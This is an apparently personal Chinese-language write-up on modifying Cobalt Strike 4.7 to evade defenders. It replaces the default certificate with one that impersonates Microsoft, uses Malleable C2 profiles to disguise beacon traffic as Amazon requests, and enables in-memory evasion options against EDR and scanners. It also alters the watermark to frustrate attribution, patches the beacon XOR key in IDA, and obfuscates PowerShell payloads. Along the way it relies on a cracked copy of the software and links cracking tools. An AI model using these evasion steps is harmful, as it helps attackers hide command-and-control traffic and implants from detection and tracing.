工具魔改 | Cobalt Strike 4.7 特征修改与流量混淆
本文记录了对 Cobalt Strike 4.7 的一些特征修改过程,包括证书替换、Malleable C2 Profile 流量伪装、Beacon 内存特征处理、异或密钥修改等。不是什么教程,就是自己折腾的过程记录。
目录
- 证书替换
- Malleable C2 Profile 流量混淆
- 修改服务端端口
- CS 源码编译与个性化修改
- 水印修改
- Checksum8 与 Stager 特征
- 异或密钥修改
- PowerShell 混淆尝试
一、证书替换
CS 默认证书的特征非常明显,蓝队抓到 SSL 握手包直接就能识别,第一步先把证书换掉。
查看默认证书
keytool.exe 是 Java JRE 自带的证书管理工具,用它查看当前证书信息:
1 | keytool.exe -list -v -keystore cobaltstrike.store |
默认密码可以在 teamserver.sh 里看到:
1 | -Djavax.net.ssl.keyStorePassword=123456 |
原本的证书信息长这样,特征很明显:

生成自定义证书
把证书伪装成 Microsoft 更新服务,运行以下命令:
1 | keytool -genkey -alias cobaltstrike -keyalg RSA -keysize 2048 \ |
填写信息时模仿微软:
1 | 您的名字与姓氏是什么? → www.microsoft.com |
生成完之后确认一下新证书信息:

修改启动脚本密码
打开 ./teamserver 启动脚本,把密码改成和新证书一致:
1 | -Djavax.net.ssl.keyStorePassword=123456 |
注意:修改后的文件需要同步到服务端。
启动方式:
1 | ./teamserver 172.16.250.128 kali |
验证效果
客户端连接时会弹出证书指纹确认框:

这个指纹就是刚才生成证书时看到的 SHA256 值,完全一致,说明服务端用的就是自定义证书,默认的 CS 证书特征(CN=Major Cobalt Strike)已经没了。
二、Malleable C2 Profile 流量混淆
证书换了之后,CS 默认的心跳流量特征还是很明显,蓝队一抓包就能识别。Malleable C2 Profile 可以把 beacon 的流量伪装成正常的业务请求。
下载现成的 Profile
1 | git clone https://github.com/rsmudge/Malleable-C2-Profiles |
里面有很多现成的,我用的是 amazon.profile,伪装成亚马逊购物流量。
1 | cat amazon.profile |
配置项解释
全局设置:
1 | set sleeptime "5000"; # beacon 心跳间隔,5秒太频繁,建议改大 |
http-get(beacon 回连拉任务):
1 | uri = "/s/ref=nb_sb_noss_1/..." # 伪装成亚马逊搜索请求 |
http-post(beacon 上传执行结果):
1 | uri = "/N4215/adj/amzn.us.sr.aps" # 伪装成亚马逊广告请求 |
需要修改的地方
1. sleeptime 和 jitter(最重要)
1 | set sleeptime "60000"; # 改成 1 分钟 |
2. useragent 换新一点的
1 | set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"; |
3. 在文件末尾加上 stage 和 process-inject 块
1 | stage { |
stage 块各配置解释
| 配置项 | 作用 |
|---|---|
sleep_mask "true" |
beacon 睡眠时将内存中的自身代码加密为乱码,躲避 BeaconEye 等内存扫描 |
userwx "false" |
不申请 RWX 内存,改用 RW 写入再改为 RX 执行,规避 EDR 检测 |
cleanup "true" |
beacon 执行完后清理自身,减少内存残留 |
stomppe "true" |
抹掉内存里的 PE 头,让内存扫描工具找不到完整的 PE 结构 |
obfuscate "true" |
混淆 beacon 在内存里的字符串,扫描不到明显特征 |
process-inject 块控制 beacon 注入其他进程时的行为,startrwx 和 userwx 同样是为了规避 RWX 内存检测,bof_reuse_memory 关掉后每次重新申请内存,减少特征。
注意:
set cleanup "true"在某些情况下可能导致 beacon 执行完某些操作后自动退出,如果发现 beacon 异常掉线可以把这行去掉。
加载 Profile 启动
1 | ./teamserver 172.16.250.128 123456 amazon.profile |
流量对比验证
用 Wireshark 选择对应网卡抓包,过滤器输入 http:

上线后查看流量包:

原版默认流量(特征明显):

修改后的流量:
响应包:

请求包:

可以看到流量完全伪装成了亚马逊购物请求,URI、Host 头、响应头都模拟了亚马逊,beacon 元数据藏在 Cookie 里,UA 也换成了 Chrome/120。
三、修改服务端端口
默认 50050 端口特征太明显,改一下:
打开启动脚本,找到:
1 | -Dcobaltstrike.server_port=50050 |
改成其他端口,比如:
1 | -Dcobaltstrike.server_port=54321 |
客户端连接时端口也要保持一致:

关于 CDN 隐匿
虽然用了 Profile,但流量依然是直连,蓝队还是能查到真实 IP。更进一步的做法是通过 Cloudflare 等 CDN 转发流量(域前置),让蓝队只能查到 CDN 的 IP,查不到真实的服务器 IP,把 172.16.250.128 换成域名上线即可。这块后续再研究。
四、CS 源码编译与个性化修改
接下来折腾源码层面的修改,需要把 CS 的 jar 包反编译出来重新编译。
环境准备
用 Java 1.8,把原 jar 作为依赖导入:

添加模块依赖:

修改文件保持在 src 目录下:

添加工件(Artifact):

编译运行
重新构建项目、构建工件后直接运行会报错:

需要添加启动参数:
1 | -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC |

然后会出现授权校验失败的问题:

这里是因为原软件需要授权,破解过程就不记了,直接用现成的破解版跳过这步。
正常启动后的界面:

个性化修改路径
折腾了一下发现各个地方的修改路径,记录一下备用:
| 修改内容 | 文件路径 |
|---|---|
| 标题修改 | cobaltstrike/aggressor/AggressorClient.java |
| 界面修改 | cobaltstrike/aggressor/dialogs/ConnectDialog.java |
| 介绍部分 | cobaltstrike/resources/about.html |
| 许可部分 | cobaltstrike/resources/credits.txt |
| 图标(32x32) | cobaltstrike/resources/armitage-icon.gif |
| 图标(256x256) | cobaltstrike/resources/armitage-logo.gif |
| 主题风格 | cobaltstrike/aggressor/Aggressor.java |
| 默认 Profile | cobaltstrike/resources/default.profile |
五、水印修改
CS beacon 里有水印(Watermark),是授权标识,可以用于溯源到同一个 CS 授权。用 Twi1ight 大佬的脚本生成自定义水印:
1 | python3 watermark.py 202466564 |
传入一个自定义数字(建议避开常见 ID,使用大于 624 的随机数)。
输出:
1 | Cobalt Strike Watermark Fucker By Twi1ight@T00ls.Net |
通过 CSAgent 修改
CSAgent 不需要反编译整个 cobaltstrike.jar,直接编辑同级目录下的 CSAgent.properties:
1 | # 设置自定义水印 |
修改启动参数,加入 CSAgent:
1 | -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -javaagent:CSAgent.jar=CSAgent.properties |
中文界面配置生效后:

六、Checksum8 与 Stager 特征
CS 有一个比较经典的流量特征——Checksum8 算法,蓝队可以用这个识别 CS 流量。
Checksum8 算法: ASCII 码之和 % 256
- 64 位木马的 checksum8 值为 93
- 32 位木马的 checksum8 值为 92
不管 Profile 怎么改,只要第一个数据包中 GET 请求路径的 checksum8 值是这两个,基本就能确认是 CS 的远控通道。
另外两个会被捕获到的特征:
- URL 的 checksum8 规则
- 访问 URL 下载解析 Stager 的行为
Stager 默认通过 XOR 加密,加密密钥是固定的:
- CS 3.x:配置信息通过异或
0x69解密 - CS 4.x:配置信息通过异或
0x2e解密
Windows Execute 模块生成的就是 Stager:运行 EXE → 自动生成并访问符合 checksum8 校验的 URI 进行远程下载 Stager → 上线。
七、异或密钥修改
Stager 文件对应 CS 目录里的 sleeve/beacon.dll 和 sleeve/beacon64.dll,这两个文件是加密的,需要先解密才能修改。
解密脚本
不同版本用不同的脚本:
- 4.0~4.5:https://github.com/GH-H4d35/CrackSleeve
- 4.7:https://github.com/kyxiaxiang/CrackSleeve4.7
- 4.8:https://github.com/kyxiaxiang/CrackSleeve4.8
- 4.9:https://github.com/kyxiaxiang/CrackSleeve4.9
编译并解密:
1 | javac -encoding UTF-8 -classpath cobaltstrike.jar CrackSleeve.java |

用 IDA 修改异或密钥
以 64 位为例,打开解密后的 beacon.x64.dll,按 Alt+B 搜索 xor 0x2e:


双击进去:

F5 反汇编查看:

通过 Edit → Patch program → Change byte,把 2E 改为自定义的值:

同步修改 Java 源码
对应修改 beacon/BeaconPayload.java,把原本的 46(0x2e 的十进制)换成修改后的十进制值:

重新打包
1 | java -classpath "cobaltstrike.jar;./" CrackSleeve encode |
打包编译完成后替换服务端的 jar 包,测试可以正常生成和连接:


八、PowerShell 混淆尝试
试了一下给 PowerShell payload 加混淆。
涉及文件:
resources/template.x64.ps1(PS 模板)common/ResourceUtils.java(修改生成逻辑)
下载 AES 加密混淆脚本放到根目录:
https://github.com/Chainski/AES-Encoder
生成 payload:

效果确实很明显,混淆之后看不出原始代码。
但是测试发现——经过 CS 加密的 payload 跑不起来,混淆原项目单独运行是没问题的,只要经过 CS 那层加密就不行了:

尝试了很多方法都没解决,这条路先放弃了,后续可以换其他的加密脚本再试试。
参考项目:
- Malleable-C2-Profiles:https://github.com/rsmudge/Malleable-C2-Profiles
- CrackSleeve 4.7:https://github.com/kyxiaxiang/CrackSleeve4.7
- AES-Encoder:https://github.com/Chainski/AES-Encoder